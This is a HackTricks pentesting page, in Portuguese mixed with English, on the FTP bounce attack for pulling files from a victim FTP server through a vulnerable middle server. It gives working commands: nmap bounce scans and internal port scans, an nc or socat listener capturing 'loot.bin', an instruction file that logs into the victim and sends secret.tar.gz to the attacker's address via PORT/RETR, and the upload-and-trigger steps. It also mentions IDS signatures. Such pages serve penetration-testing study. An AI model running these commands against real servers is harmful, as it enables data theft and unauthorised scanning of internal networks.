FTP Bounce Download 2 of FTP File
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo
Se você tiver acesso a um bounce FTP server, pode fazê-lo solicitar arquivos de another FTP server (onde você conhece algumas credenciais) e baixar esse arquivo para your own server.
Requisitos
- Credenciais FTP válidas no FTP Middle server
- Credenciais FTP válidas em Victim FTP server
- Ambos os servidores accept the
PORTcommand (bounce FTP attack) - Você pode write dentro de algum diretório do FTP Middle server
- O servidor middle tem more access dentro do Victim FTP server do que você
Etapas
- Conecte-se ao your own FTP server e coloque a conexão em passive (
pasvcommand) para que ele listens em um diretório onde o serviço vítima enviará o arquivo. - Crie o arquivo que o FTP Middle server enviará para o Victim server (o exploit script). Este arquivo será texto simples com os comandos necessários para autenticar-se no Victim server, mudar de diretório e baixar um arquivo para o seu próprio servidor.
- Conecte-se ao FTP Middle Server e faça upload do arquivo anterior.
- Faça com que o FTP Middle server establish a connection com o Victim server e envie o exploit file.
- Capture o arquivo no seu próprio servidor FTP.
- Delete o exploit file do FTP Middle server.
Verificação rápida para bounce hosts vulneráveis
- Nmap ainda suporta FTP bounce checks. Exemplo para verificar um potencial middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Se o servidor recusar valores PORT de terceiros a varredura falhará; algumas impressoras embutidas/legacy, NAS e daemons FTP de appliances ainda permitem isso.
Automating the 2nd FTP download
Abaixo está uma forma modernizada de puxar um arquivo através de um middle FTP server vulnerável.
- Open a passive listener no seu ataque box (qualquer TCP sink funciona):
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Note seu IP como
A,B,C,De a portaPcomop1,p2(p1 = P/256,p2 = P%256). -
Build the instruction file que o middle server vai reproduzir para a vítima:
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Upload & trigger from the middle server (classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Grab the file do seu listener (
loot.bin). - Clean up o arquivo
instrsenviado no servidor intermediário.
Notes:
- Padding (
dd ...) evita que a conexão de controle feche antes do RETR terminar (problema de janela TCP grande discutido em writeups clássicos). - Qualquer serviço que possa listen and dump TCP pode substituir o socket FTP PASV (por exemplo,
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Se o middle server restringir portas privilegiadas, use uma porta alta em
PORTe ajuste seu listener apropriadamente.
Extra tricks
- Use um bounceable FTP server para port-scan internal hosts quando o file relay estiver bloqueado:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Alguns WAF/IDS modernos (por exemplo, Juniper IPS) trazem assinaturas especificamente para FTP:EXPLOIT:BOUNCE-ATTACK; payloads ruidosos ou padding ausente podem acioná-las.
- Quando o middle server aplica restrições de “PORT to same host”, coloque seu listener no próprio servidor intermediário (se você tiver write/execute) e encaminhe o arquivo capturado depois.
Para um walkthrough old-school mais detalhado, confira: http://www.ouah.org/ftpbounce.html
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


